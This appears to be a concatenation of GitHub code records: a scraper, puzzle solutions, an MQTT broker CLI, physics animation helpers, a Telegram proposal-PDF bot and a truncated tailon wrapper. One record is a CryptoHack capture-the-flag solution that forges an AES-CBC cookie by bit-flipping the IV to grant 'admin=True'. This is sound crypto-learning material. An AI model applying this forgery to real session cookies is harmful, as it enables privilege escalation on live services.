sleep(randrange(1, 5))\n\n\nif __name__ == '__main__':\n # open browser\n browser_options = webdriver.ChromeOptions()\n browser_options.add_argument('--headless')\n browser_service = Service(executable_path=ChromeDriverManager().install())\n browser = webdriver.Chrome(service=browser_service, options=browser_options)\n\n collect_lrs(path_to_index_file='outputs/litigation_releases_index.txt')\n\n browser.close()\n","repo_name":"hamid-vakilzadeh/SEC-PressReleases","sub_path":"SECraper.py","file_name":"SECraper.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"11602163016","text":"\ndef findPairDuplicates():\n with open('/home/vanishing/git/advent2022/day4/input.txt') as inputFile:\n numberContained = 0 # count the number of assignments where it is contained by another in the pair\n for line in inputFile:\n assignment1, assignment2 = line.split(',')\n min1, max1 = assignment1.split('-')\n min2, max2 = assignment2.split('-')\n min1 = int(min1)\n min2 = int(min2)\n max1 = int(max1)\n max2 = int(max2)\n \n # first, check if the 1st assignment is contained in the second. \n if min1 >= min2 and max1 <= max2:\n numberContained += 1\n continue # no need to check the 2nd if statement\n \n # then check if the 2nd assignment is contained in the 1st\n if min2 >= min1 and max2 <= max1: \n numberContained += 1\n \n print(numberContained)\n\n\ndef findPairOverlaps():\n with open('/home/vanishing/git/advent2022/day4/input.txt') as inputFile:\n numberOfOverlaps = 0 # count the number of assignments where it is contained by another in the pair\n for line in inputFile:\n assignment1, assignment2 = line.split(',')\n min1, max1 = assignment1.split('-')\n min2, max2 = assignment2.split('-')\n min1 = int(min1)\n min2 = int(min2)\n max1 = int(max1)\n max2 = int(max2)\n \n # check if there is overlap between assignments\n # first, create the ranges\n assignment1Range = range(min1, max1+1)\n assignment2Range = range(min2, max2+1)\n intersection = list(set(assignment1Range) & set(assignment2Range))\n \n if len(intersection) > 0:\n numberOfOverlaps += 1\n \n \n print(numberOfOverlaps)\n\n\ndef main():\n # findDuplicates()\n findPairOverlaps()\n\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"ahamad2/advent2022","sub_path":"day4/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35188696252","text":"# pylint: disable=missing-module-docstring\n\nimport os\nimport click\nfrom pytlas.cli import install_logs, SKILLS_DIR, WATCH\nfrom pytlas.settings import CONFIG\nfrom pytlas.handling.importers import import_skills\nfrom pytlas_broker.cli.repl import ReplClient\nfrom pytlas_broker.communicating.mqtt import MQTTChannel\nfrom pytlas_broker.conversing import Server\nfrom pytlas_broker.conversing.agents import FromFile\nfrom pytlas_broker.__about__ import __version__\n\n\n@click.group()\n@click.version_option(__version__)\n@click.option('-v', '--verbose', is_flag=True, help='Verbose output')\n@click.option('--debug', is_flag=True, help='Debug mode')\ndef main(verbose, debug):\n \"\"\"The broker exposes a pytlas instance to the outside world on multiple channels.\n \"\"\"\n install_logs(verbose, debug)\n\n\n@main.command()\n@click.option('-c', '--config', type=click.Path(), help='Path to a config file')\n@click.option('-did', '--device-identifier', default='cli', help='Device identifier to use')\n@click.option('-uid', '--user-identifier', default='default', help='User identifier to use')\ndef repl(config, user_identifier, device_identifier):\n \"\"\"Starts a client REPL to communicate with a broker instance.\n \"\"\"\n if config:\n CONFIG.load_from_file(config)\n\n with MQTTChannel() as mqtt:\n client = ReplClient(device_identifier, user_identifier, mqtt)\n client.cmdloop()\n\n@main.command()\n@click.argument('data_dir', type=click.Path(), required=True)\n@click.option('--default', type=str, default='default',\n help='Default folder used for unknown user as a fallback (default to \"default\")')\ndef serve(data_dir, default):\n \"\"\"Starts the server.\n \"\"\"\n agents_factory = FromFile(data_dir, default)\n\n # Let's load the configuration and load the skills\n CONFIG.load_from_file(agents_factory._default_conf_path) # pylint: disable=protected-access\n import_skills(CONFIG.getpath(SKILLS_DIR, os.path.join(data_dir, 'skills')),\n CONFIG.getbool(WATCH))\n\n server = Server(agents_factory)\n\n with MQTTChannel() as mqtt:\n mqtt.attach(server)\n input('Press any key, anytime to stop the broker')\n\n\nif __name__ == '__main__':\n main(True, True)\n","repo_name":"atlassistant/pytlas-broker","sub_path":"pytlas_broker/cli/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"17645503409","text":"import requests\nfrom pwn import *\n#import json\n#x = requests.get(\"http://aes.cryptohack.org/flipping_cookie/get_cookie\")\n\n#y = json.loads(x.text)\n#print(y[\"cookie\"])\n#b6322df0b853de520f4fb04a42e76683c8d3f26a232da6263be70f1168e502b7ea820c1835e1a88624876fe4f6918cc3\n\ncookie = \"b6322df0b853de520f4fb04a42e76683c8d3f26a232da6263be70f1168e502b7ea820c1835e1a88624876fe4f6918cc3\"\n\ndef splitblocks(c):\n\torder = len(c)/16\n\tchunks, chunk_size = len(c), len(c)/order\n\ta = [ c[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]\n\traw_blocks = a\n\tblocks = []\n\tfor i in range(0,order):\n\t\tblocks.append(a[i].encode(\"hex\"))\n\treturn blocks\n\n\nblocks = splitblocks(cookie.decode(\"hex\"))\n\nIV = blocks[0]\n\nCT = blocks[1]\n\n# what we have admin=False\n# what we need admin=True;\n#print(len(\"admin=\")) // 6 characters\n\n#print(len(\"admin=True;\")) // 11 characters\np1 = \"admin=False\"\nintermitiate_value = \"\"\nfor i in range(0,11):\n\tiv = IV.decode(\"hex\")\n\tct = p1\n\tintermitiate_value += xor(iv[i],ct[i])\n\nneeded_value = \"admin=True;\"\nnew_iv = \"\"\nfor i in range(0,11):\n\tnew_iv += xor(intermitiate_value[i],needed_value[i])\n\nprint(new_iv.encode(\"hex\")+\"4a42e76683\")\nprint(blocks[1]+blocks[2])","repo_name":"kabilan1290/crypto","sub_path":"challenge/cryptohacks/SymmetricStarter/FlippingCookie/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"72082391603","text":"import nbformat\nfrom nbconvert import PythonExporter\nimport torch\nimport numpy as np\nfrom scipy.integrate import solve_ivp\n\ndef clean_script_line(line):\n if line.startswith('#!') or line.startswith('# coding:'):\n return False\n if line.strip().startswith('# In['):\n return False\n return True\n\ndef notebook_to_script(notebook_path, output_path):\n # Load the notebook\n with open(notebook_path, 'r', encoding='utf-8') as f:\n nb = nbformat.read(f, as_version=4)\n \n # Convert to Python script\n python_exporter = PythonExporter()\n python_exporter.exclude_markdown = True\n python_exporter.exclude_output = True\n \n (body, _) = python_exporter.from_notebook_node(nb)\n \n # Clean script lines\n clean_lines = filter(clean_script_line, body.splitlines())\n\n # Write to output file\n with open(output_path, 'w', encoding='utf-8') as f:\n f.write(\"\\n\".join(clean_lines))\n\n#notebook_to_script('burgers_pinn.ipynb', 'clean.py')\n\ndef numerical_derivative(x, y):\n \"\"\"\n Calculate the numerical derivative of y with respect to x using central difference method.\n\n Parameters:\n x (list or numpy array): Input values.\n y (list or numpy array): Corresponding function values.\n\n Returns:\n x (list or numpy array): Input values.\n y_prime (list or numpy array): Numerical derivative values.\n \"\"\"\n import numpy as np\n\n # Check if x and y have the same length\n if len(x) != len(y):\n raise ValueError(\"Input arrays x and y must have the same length.\")\n\n n = len(x)\n y_prime = np.zeros(n)\n\n # Calculate the derivative for interior points using central difference\n for i in range(1, n - 1):\n y_prime[i] = (y[i + 1] - y[i - 1]) / (x[i + 1] - x[i - 1])\n\n # Calculate the derivative for the first and last points using forward and backward difference\n y_prime[0] = (y[1] - y[0]) / (x[1] - x[0])\n y_prime[n - 1] = (y[n - 1] - y[n - 2]) / (x[n - 1] - x[n - 2])\n\n return x, y_prime\n\n### PENDULUM FUNCTIONS ###\ndef pendulum_motion(final_time, initial_position, initial_velocity, g=9.81, R=0.1, damping_coefficient=0.1, num_points=100):\n \"\"\"\n Numerically solves the motion of a damped pendulum using the complete equation of motion.\n \n :param final_time: Final time of simulation\n :param initial_position: Initial angular position of the pendulum (in radians)\n :param initial_velocity: Initial angular velocity of the pendulum (in radians/s)\n :param g: Acceleration due to gravity\n :param R: Length of the pendulum\n :param damping_coefficient: Coefficient for the damping term, proportional to angular velocity\n :param num_points: Number of integration points (default is 100)\n :return: Tuple (t, theta) where t is the time array and theta is the angular position array\n \"\"\"\n # Differential equation for the pendulum\n def pendulum_equation(t, y):\n theta, omega = y\n dtheta_dt = omega\n domega_dt = -(g/R)*np.sin(theta) - damping_coefficient*omega\n return [dtheta_dt, domega_dt]\n\n # Initial conditions\n y0 = [initial_position, initial_velocity]\n\n # Time span\n t_span = [0, final_time]\n t_eval = np.linspace(0, final_time, num_points)\n\n # Solving the differential equation\n sol = solve_ivp(pendulum_equation, t_span, y0, t_eval=t_eval)\n\n return sol.t, sol.y[0]\n\n### Pendulum animations ###\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport io\n\ndef animate_pendulum_to_gif(times, angles, radius=1.0, filename='pendulum_animation.gif'):\n \"\"\"\n Animates a pendulum's motion and saves it as a GIF.\n \n This function now handles multi-dimensional angle arrays by iterating over the first dimension.\n\n :param times: List or Tensor of time points\n :param angles: List or Tensor of angular positions in radians (can be multi-dimensional)\n :param radius: Length of the pendulum\n :param filename: Filename to save the GIF\n \"\"\"\n\n # Convert tensors to numpy arrays, detaching if necessary\n if isinstance(times, torch.Tensor):\n times = times.detach().cpu().numpy()\n if isinstance(angles, torch.Tensor):\n angles = angles.detach().cpu().numpy()\n\n # Handle multi-dimensional angles array\n if len(angles.shape) > 1:\n # Assuming the first dimension corresponds to different time steps\n angles = angles[:, 0]\n\n plt.ioff()\n\n images = []\n buffers = []\n for angle in angles:\n fig, ax = plt.subplots()\n ax.set_xlim(-radius * 1.2, radius * 1.2)\n ax.set_ylim(-radius * 1.2, radius * 1.2)\n ax.set_aspect('equal', adjustable='box')\n x = radius * np.sin(angle)\n y = -radius * np.cos(angle)\n ax.plot([0, x], [0, y], lw=2, marker='o')\n\n buf = io.BytesIO()\n plt.savefig(buf, format='png')\n buf.seek(0)\n images.append(Image.open(buf))\n buffers.append(buf)\n\n plt.close(fig)\n\n images[0].save(filename, save_all=True, append_images=images[1:], duration=np.mean(np.diff(times))*1000, loop=0)\n\n for buf in buffers:\n buf.close()\n\n plt.ion()\n return images\n\ndef combine_gifs(frames1, frames2, total_time=2000, filename='combined_animation.gif'):\n \"\"\"\n Combines two sets of frames into a single GIF, side by side, \n with the total animation time being 2 seconds.\n \n :param frames1: List of PIL Image frames from the first animation\n :param frames2: List of PIL Image frames from the second animation\n :param total_time: Total time for the GIF in milliseconds (default 2000 for 2 seconds)\n :param filename: Filename to save the combined GIF\n \"\"\"\n combined_images = []\n\n for img1, img2 in zip(frames1, frames2):\n total_width = img1.width + img2.width\n total_height = max(img1.height, img2.height)\n combined_image = Image.new('RGB', (total_width, total_height))\n\n combined_image.paste(img1, (0, 0))\n combined_image.paste(img2, (img1.width, 0))\n\n combined_images.append(combined_image)\n\n # Calculate frame duration\n frame_duration = total_time / len(combined_images)\n\n combined_images[0].save(filename, save_all=True, append_images=combined_images[1:], loop=0, duration=frame_duration)\n","repo_name":"jasonswart4/VRES","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":6247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42684348976","text":"# Game guessing the age\n\nimport random as r\nsecret_age = r.randint(1, 10)\nflag = False\n\n\ndef game_fun(guessed_age,secret):\n if guessed_age < secret:\n return 'Too low'\n elif guessed_age > secret:\n return 'Too high'\n else:\n return 'Correct'\n\n\nfor i in range(1, 6):\n print('Take a guess.You have '+str(6-i)+'guesses left.')\n guess = input()\n if game_fun(int(guess),secret_age) == 'Correct':\n print('You Won The Game')\n flag = True\n break\n\nif not flag:\n print('You lost the game')\n","repo_name":"nuzmulhossainnahid/Python_program_1","sub_path":"Game guessing the age.py","file_name":"Game guessing the age.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"14452589153","text":"#!/usr/bin/env python3\n\nimport os\nimport logging\n\nfrom telegram_bot.credentials import TOKEN\nfrom telegram_bot.Proposal import Proposal\nfrom telegram_bot.ProposalDBHandler import ProposalDBHandler\n\nfrom docx import Document\nfrom jinja2 import Environment, FileSystemLoader\nfrom weasyprint import HTML, CSS\nfrom telegram import (\n ParseMode,\n InlineKeyboardMarkup,\n InlineKeyboardButton)\n\nfrom telegram.ext import (\n Updater,\n CommandHandler,\n MessageHandler,\n Filters,\n ConversationHandler,\n CallbackQueryHandler)\n\n\ndef daily_clear():\n for filename in os.listdir(f'{os.getcwd()}/media/tempfiles'):\n os.remove(os.path.join(os.getcwd(), filename))\n\n for filename in os.listdir(f'{os.getcwd()}/media/users_docx'):\n os.remove(os.path.join(os.getcwd(), filename))\n\n\nlogging.getLogger('apscheduler.scheduler').propagate = False\n\n# ConversationHandler states const:\n(\n STORE_DATA,\n SELECT_ACTION,\n STORE_DOCX,\n STORE_ENGINEER_TO_DB,\n END\n) = map(chr, range(5))\n\n# Templates const:\n(\n ADD_DOCX,\n ADD_INFO,\n ADD_NEW_ENGINEER,\n ADD_ENGINEERS_RATE,\n ADD_CONTENT_DICT\n) = map(chr, range(6, 11))\n\n# Actions const:\n(\n EDIT_TITLE,\n CHOOSE_ENGINEER,\n CREATE_PDF,\n TEST,\n SHOW_BUTTONS,\n CHOOSE_TITLE_TO_EDIT,\n ADD_ENGINEER_TO_PROPOSAL,\n SETTINGS,\n HOW_TO_USE,\n ENGINEERS_SETTINGS,\n START,\n CHANGE_MODE\n) = map(chr, range(12, 24))\n\n\ndef init_Proposal(update, context):\n db_handler = ProposalDBHandler()\n proposal = Proposal(db_handler)\n\n context.user_data['db_handler'] = db_handler\n context.user_data['proposal'] = proposal\n context.user_data['chat_id'] = update.message.chat_id\n # context.user_data['direxists'] = False\n\n context.user_data['templates'] = {\n ADD_CONTENT_DICT: proposal.content_dict,\n ADD_DOCX: proposal.content_dict,\n ADD_INFO: proposal.info_dict,\n ADD_NEW_ENGINEER: proposal.engineer_dict,\n ADD_ENGINEERS_RATE: db_handler.engineers_rates\n }\n\n return start(update, context)\n\n\ndef start(update, context):\n proposal = context.user_data['proposal']\n proposal.settings = False\n\n if proposal.manual_mode:\n btn_action = ADD_CONTENT_DICT\n else:\n btn_action = ADD_DOCX\n\n # reset content dict when restarting proposal\n buttons = [[\n add_button('Create new proposal', btn_action),\n add_button('More..', SETTINGS)\n ]]\n keyboard = InlineKeyboardMarkup(buttons)\n text1 = 'Hi, I`ll help you to complete the proposal.'\n text2 = 'What do you want to do?'\n\n if getattr(update, 'callback_query'):\n edit = True\n update.callback_query.answer()\n else:\n edit = False\n\n send_message(update, text1, edit=edit)\n send_message(update, text2, keyboard, edit=edit)\n\n return SELECT_ACTION\n\n\ndef settings(update, context):\n proposal = context.user_data['proposal']\n proposal.settings = True\n mode = 'manual' if proposal.manual_mode else 'with docx'\n buttons = [\n [\n add_button('How to use', HOW_TO_USE)\n ],\n [\n # add_button('Edit engineers', ENGINEERS_SETTINGS),\n add_button('Test PDF', TEST)\n ],\n [\n add_button(f'Current mode: {mode}', CHANGE_MODE)\n ],\n [\n add_button('<< Back', START)\n ]\n ]\n text = 'What do you want to do?'\n keyboard = InlineKeyboardMarkup(buttons)\n send_message(update, text=text, keybrd=keyboard, edit=True)\n\n return SELECT_ACTION\n\n\ndef change_mode(update, context):\n proposal = context.user_data['proposal']\n proposal.manual_mode = not proposal.manual_mode\n\n return settings(update, context)\n\n\n# def engineers_settings(update, context):\n# buttons = [\n# [\n# add_button('Add engineer', ADD_NEW_ENGINEER),\n# add_button('Delete engineer', DELETE_ENGINEER)\n# ],\n# [\n# add_button('<< Back', START)\n# ]\n# ]\n# text = 'Choose your action'\n# keyboard = InlineKeyboardMarkup(buttons)\n# send_message(update, text, keyboard, edit=True)\n\n\ndef how_to_use(update, context):\n query = update.callback_query\n text = '[How to use this bot](https://github.com/vladhutsal/Telegram-proposal-bot/blob/master/docs/README.md)'\n\n button = add_button('<< Back', SETTINGS)\n keyboard = InlineKeyboardMarkup.from_button(button)\n send_message(update, text, keyboard, edit=True, parse=\"MARKD\")\n query.answer()\n\n return SELECT_ACTION\n\n\n# ================ SHOW BUTTONS AND INITIALIZE TEMPLATES\ndef show_buttons(update, context):\n proposal = context.user_data['proposal']\n\n buttons = []\n if proposal.finish:\n text = 'Create PFD'\n callback_data = CREATE_PDF\n elif proposal.info:\n proposal.info = False\n text = 'Add info'\n callback_data = ADD_INFO\n else:\n text = 'Choose engineer'\n callback_data = CHOOSE_ENGINEER\n\n btn1 = add_button('Edit info', CHOOSE_TITLE_TO_EDIT)\n btn2 = add_button(text, callback_data)\n buttons = append_btns(buttons, btn1, btn2)\n\n text = 'What`s next?'\n keyboard = InlineKeyboardMarkup.from_row(buttons)\n\n # add this check to send_message(),\n # because there is a need to use this often\n if getattr(update, 'callback_query'):\n edit = True\n update.callback_query.answer()\n else:\n edit = False\n\n send_message(update, text, keyboard, edit=edit, parse='HTML')\n\n return SELECT_ACTION\n\n\ndef setup(context, template):\n templates = context.user_data['templates']\n proposal = context.user_data['proposal']\n\n proposal.current_dict = templates[template]\n proposal.reset_iter()\n\n\ndef init_add_docx(update, context):\n setup(context, ADD_DOCX)\n return ask_for_docx(update, context)\n\n\ndef init_content_dict(update, context):\n setup(context, ADD_CONTENT_DICT)\n return next_title(update, context)\n\n\ndef init_add_info(update, context):\n setup(context, ADD_INFO)\n return next_title(update, context)\n\n\ndef init_add_engineers_rate(update, context):\n setup(context, ADD_ENGINEERS_RATE)\n return next_title(update, context)\n\n\ndef init_add_new_engineer(update, context):\n setup(context, ADD_NEW_ENGINEER)\n update.callback_query.answer()\n return next_title(update, context)\n\n\ndef ask_for_docx(update, context):\n query = update.callback_query\n text = 'Send me your DOCX file with main content'\n send_message(update, text, edit=True)\n query.answer(text='Waiting for your DOCX')\n return STORE_DOCX\n\n\n# ================ FILL TEMPLATES WITH DATA, STORE DATA TO DICTS\ndef next_title(update, context):\n proposal = context.user_data['proposal']\n\n try:\n proposal.get_next_title_id()\n return show_title(update, context)\n\n except StopIteration:\n return show_buttons(update, context)\n\n\ndef show_title(update, context):\n proposal = context.user_data['proposal']\n\n title_id = proposal.current_title_id\n title_name = proposal.get_bold_title(title_id)\n\n if getattr(update, 'callback_query'):\n edit = True\n else:\n edit = False\n\n send_message(update, title_name, parse='HTML', edit=edit)\n\n if title_id == 'PHT':\n return STORE_ENGINEER_TO_DB\n\n return STORE_DATA\n\n\ndef store_data(update, context):\n proposal = context.user_data['proposal']\n\n user_content = update.message.text\n proposal.store_content(user_content)\n\n if proposal.edit_all:\n return next_title(update, context)\n\n elif not proposal.edit_all:\n proposal.edit_all = True\n\n return overview(update, context)\n\n\ndef store_engineer_to_db(update, context):\n proposal = context.user_data['proposal']\n db_handler = context.user_data['db_handler']\n\n photo_info = update.message.photo[-1]\n file_id = photo_info.file_id\n File_obj = context.bot.get_file(file_id=file_id)\n\n dir_path = 'engineers_photo'\n name = proposal.engineer_dict['N'][1]\n file_name = proposal.add_timestamp(name)\n downloaded_photo_path = f'media/{dir_path}/{file_name}.jpg'\n path_for_template = f'../{dir_path}/{file_name}.jpg'\n File_obj.download(custom_path=downloaded_photo_path)\n proposal.store_content(path_for_template)\n proposal.finish = False\n\n # telegram_bot.py is no need to know about db_handler class\n err = db_handler.store_new_engineer_to_db(proposal.current_dict)\n proposal.reset_dict('engineers')\n if err:\n show_error_message(update, context)\n\n # if proposal.settings:\n # return engineers_settings(update, context)\n\n return show_buttons(update, context)\n\n\ndef store_docx(update, context):\n proposal = context.user_data['proposal']\n\n file_id = update.message.document.file_id\n name = proposal.get_random_name()\n docx_path = f'media/users_docx/{name}.docx'\n\n Docx_obj = context.bot.get_file(file_id=file_id)\n Docx_obj.download(custom_path=docx_path)\n proposal.content_dict = docx_parser(proposal, docx_path)\n\n return init_add_info(update, context)\n\n\ndef docx_parser(proposal, docx_path):\n doc = Document(docx_path)\n\n for content in doc.paragraphs:\n if 'Heading' in content.style.name:\n try:\n proposal.get_next_title_id()\n except StopIteration:\n return True\n elif not content.text:\n pass\n else:\n proposal.store_content(content.text)\n return proposal.current_dict\n\n\n# ================ EDIT AND OVERVIEW\n# there will be two buttons - \"Edit\" and \"Add info\" or \"Choose engineers\"\ndef overview(update, context):\n proposal = context.user_data['proposal']\n text = 'Info you`ve provided:'\n send_message(update, text, parse='HTML')\n\n for title_id in proposal.current_dict.keys():\n title = proposal.get_bold_title(title_id)\n content = proposal.get_title_content(title_id)\n text = f'{title}\\n{content}'\n send_message(update, text, parse='HTML')\n\n return show_buttons(update, context)\n\n\ndef choose_title_to_edit(update, context):\n proposal = context.user_data['proposal']\n\n query = update.callback_query\n current_dict = proposal.current_dict\n\n buttons = []\n for title_id in proposal.current_dict.keys():\n text = f'{current_dict[title_id][0]}'\n callback_data = f'{title_id}, {EDIT_TITLE}'\n btn = [add_button(text, callback_data)]\n append_btns(buttons, btn)\n\n append_btns(buttons, [add_button('<< Go back', SHOW_BUTTONS)])\n\n keyboard = InlineKeyboardMarkup(buttons)\n text = 'Choose a title you want to edit:'\n send_message(update, text, keyboard, edit=True)\n query.answer()\n\n return SELECT_ACTION\n\n\ndef edit_title(update, context):\n proposal = context.user_data['proposal']\n\n query = update.callback_query\n proposal.current_title_id = detach_id_from_callback(query.data)\n proposal.edit_all = False\n query.answer()\n\n return show_title(update, context)\n\n\n# ================ ENGINEERS\ndef show_engineers(update, context):\n db_handler = context.user_data['db_handler']\n\n engineers = db_handler.get_engineers_id_list()\n engn_in_proposal = db_handler.engineers_in_proposal_id\n\n buttons = []\n if engineers:\n for engineer_id in engineers:\n engineer_name = db_handler.get_field_info(engineer_id, 'N')\n if engineer_id not in engn_in_proposal:\n callback_data = f'{engineer_id}, {ADD_ENGINEER_TO_PROPOSAL}'\n btn = [add_button(engineer_name, callback_data)]\n buttons.append(btn)\n return buttons, engn_in_proposal\n\n\ndef choose_engineers(update, context):\n query = update.callback_query\n\n buttons, engn_in_proposal = show_engineers(update, context)\n\n if engn_in_proposal:\n callback_data = ADD_ENGINEERS_RATE\n else:\n callback_data = CREATE_PDF\n help_btns = [add_button('Add new engineer', ADD_NEW_ENGINEER),\n add_button('Continue', callback_data)]\n buttons.append(help_btns)\n\n text = 'Choose engineers: '\n keyboard = InlineKeyboardMarkup(buttons)\n\n if query:\n send_message(update, text, keyboard, edit=True)\n query.answer()\n else:\n send_message(update, text, keyboard)\n\n return SELECT_ACTION\n\n\ndef add_engineer_to_proposal(update, context):\n db_handler = context.user_data['db_handler']\n proposal = context.user_data['proposal']\n\n # add engineers id to list of engineers in current proposal:\n query = update.callback_query\n engn_id = detach_id_from_callback(query.data)\n curr_list = db_handler.engineers_in_proposal_id\n curr_list.append(int(engn_id))\n\n # add engineers id to dictionary as key {'engn_id': ['name', 'rate']}\n engineer_name = db_handler.get_field_info(engn_id, 'N')\n db_handler.engineers_rates[engn_id] = [f'Current rate for {engineer_name}', '']\n proposal.finish = True\n query.answer('Engineer added')\n\n return choose_engineers(update, context)\n\n\n# ================ HELPERS\ndef append_btns(buttons, *args):\n for btn in args:\n buttons.append(btn)\n return buttons\n\n\ndef add_button(text, callback):\n btn = InlineKeyboardButton(text=text, callback_data=callback)\n return btn\n\n\ndef send_message(updt, text, keybrd=None, edit=False, parse=None):\n if not parse:\n parse_mode = None\n elif parse == 'MARKD':\n parse_mode = ParseMode.MARKDOWN_V2\n elif parse == 'HTML':\n parse_mode = ParseMode.HTML\n\n if edit:\n updt.callback_query.edit_message_text(\n text=text,\n parse_mode=parse_mode,\n reply_markup=keybrd\n )\n\n elif not edit:\n updt.effective_message.reply_text(\n text=text,\n parse_mode=parse_mode,\n reply_markup=keybrd\n )\n\n\ndef detach_id_from_callback(query_data):\n additional_query_data = query_data.split(',')[0]\n return additional_query_data\n\n\n# use callback query answer to show notification on top of the bots chat\ndef show_error_message(update, context):\n context.bot.send_message(chat_id=context.user_data['chat_id'],\n text='This engineer is already in db')\n\n\ndef generate_tmp_file(proposal, file_frmt):\n client_name = proposal.info_dict['CN'][1].replace(' ', '_')\n\n if proposal.test:\n filename = 'Proposal for TEST Co'+file_frmt\n\n elif file_frmt == '.pdf':\n filename = f'UTOR_{client_name}_proposal'+file_frmt\n\n elif file_frmt == '.html':\n filename = proposal.add_timestamp(client_name)+file_frmt\n\n dir_path = 'media/tempfiles'\n with open(f'{dir_path}/{filename}', 'w+') as tmpfile:\n return tmpfile\n\n\n# ================ HTML TO PDF\n\ndef generate_html(update, context):\n proposal = context.user_data['proposal']\n html_template_path = 'static/index_jinja.html'\n\n collected_data = proposal.collect_user_data_for_html()\n env = Environment(loader=FileSystemLoader('.'))\n template = env.get_template(html_template_path)\n jinja_rendered_html = template.render(**collected_data)\n proposal.html = generate_tmp_file(proposal, '.html')\n\n with open(proposal.html.name, 'w+') as html:\n html.write(jinja_rendered_html)\n\n return generate_pdf(update, context)\n\n\ndef generate_pdf(update, context):\n proposal = context.user_data['proposal']\n css_path = 'static/main.css'\n\n pdf_doc = HTML(proposal.html.name)\n pdf_doc_rndr = pdf_doc.render(stylesheets=[CSS(css_path)])\n page = pdf_doc_rndr.pages[0]\n child_list = [child for child in page._page_box.descendants()]\n page.height = child_list[2].height\n proposal.pdf = generate_tmp_file(proposal, '.pdf')\n pdf_doc_rndr.write_pdf(target=proposal.pdf.name)\n\n update.callback_query.answer()\n\n return send_pdf(context, update)\n\n\ndef send_pdf(context, update):\n proposal = context.user_data['proposal']\n\n chat_id = context.user_data['chat_id']\n\n with open(proposal.pdf.name, 'rb') as pdf:\n context.bot.send_document(chat_id=chat_id, document=pdf)\n\n return END\n\n\n# ================ GENERATE TEST PDF\ndef get_test_pdf_dict(update, context):\n proposal = context.user_data['proposal']\n proposal.test = True\n update.callback_query.answer()\n\n return generate_html(update, context)\n\n\ndef end(update, context):\n return ConversationHandler.END\n\n\ndef main():\n updater = Updater(token=TOKEN, use_context=True)\n dispatcher = updater.dispatcher\n conv_handler = ConversationHandler(\n entry_points=[CommandHandler('start', init_Proposal)],\n states={\n SELECT_ACTION: [CallbackQueryHandler(init_add_docx,\n pattern=ADD_DOCX),\n\n CallbackQueryHandler(init_content_dict,\n pattern=ADD_CONTENT_DICT),\n\n CallbackQueryHandler(init_add_info,\n pattern=ADD_INFO),\n\n CallbackQueryHandler(show_buttons,\n pattern=SHOW_BUTTONS),\n\n\n CallbackQueryHandler(start,\n pattern=START),\n\n CallbackQueryHandler(settings,\n pattern=SETTINGS),\n\n CallbackQueryHandler(how_to_use,\n pattern=HOW_TO_USE),\n\n CallbackQueryHandler(change_mode,\n pattern=CHANGE_MODE),\n \n\n # CallbackQueryHandler(engineers_settings,\n # pattern=ENGINEERS_SETTINGS),\n\n CallbackQueryHandler(choose_engineers,\n pattern=CHOOSE_ENGINEER),\n\n CallbackQueryHandler(init_add_new_engineer,\n pattern=ADD_NEW_ENGINEER),\n\n CallbackQueryHandler(add_engineer_to_proposal,\n pattern=f'.+{ADD_ENGINEER_TO_PROPOSAL}$'),\n\n CallbackQueryHandler(init_add_engineers_rate,\n pattern=ADD_ENGINEERS_RATE),\n\n\n CallbackQueryHandler(edit_title,\n pattern=f'.+{EDIT_TITLE}$'),\n\n CallbackQueryHandler(choose_title_to_edit,\n pattern=CHOOSE_TITLE_TO_EDIT),\n\n\n CallbackQueryHandler(get_test_pdf_dict,\n pattern=TEST),\n\n\n CallbackQueryHandler(generate_html,\n pattern=CREATE_PDF),\n \n CommandHandler('stop', end)],\n\n STORE_DATA: [MessageHandler(Filters.text, store_data)],\n\n STORE_ENGINEER_TO_DB: [MessageHandler(Filters.photo, store_engineer_to_db)],\n\n STORE_DOCX: [MessageHandler(Filters.document.docx, store_docx)],\n },\n\n fallbacks=[CallbackQueryHandler(end,\n pattern=END)],\n\n allow_reentry=True,\n\n per_message=False\n )\n\n dispatcher.add_handler(conv_handler)\n\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"vladhutsal/ProposalTelegram_bot","sub_path":"proposal_bot.py","file_name":"proposal_bot.py","file_ext":"py","file_size_in_byte":19219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"39673679382","text":"# -*- coding: utf-8; -*-\n\nimport logging\nimport subprocess\nfrom . import compat\n\nfrom tornado import process\n\n\nSTREAM = process.Subprocess.STREAM\nlog = logging.getLogger('tailon')\n\n\nclass ToolPaths:\n command_names = {'grep', 'awk', 'sed', 'tail'}\n\n def __init__(self, overwrites=None):\n self.cmd_grep = self.first_in_path('grep')\n self.cmd_awk = self.first_in_path('gawk', 'awk')\n self.cmd_sed = self.first_in_path('gsed', 'sed')\n self.cmd_tail = self.first_in_path('gtail', 'tail')\n\n\n if overwrites:\n for name, value in overwrites.items():\n setattr(self, name, value)\n\n def first_in_path(self, *cmds):\n for cmd in cmds:\n path = compat.which(cmd)\n if path:\n return path\n\n\n#-----------------------------------------------------------------------------\nclass CommandControl:\n def __init__(self, toolpaths, follow_names=False):\n self.toolpaths = toolpaths\n self.follow_names = follow_names\n\n def awk(self, script, fn, stdout, stderr, **kw):\n cmd = [self.toolpaths.cmd_awk, '--sandbox', script]\n if fn:\n cmd.append(fn)\n proc = process.Subprocess(cmd, stdout=stdout, stderr=stderr, **kw)\n log.debug('running awk %s, pid: %s', cmd, proc.proc.pid)\n return 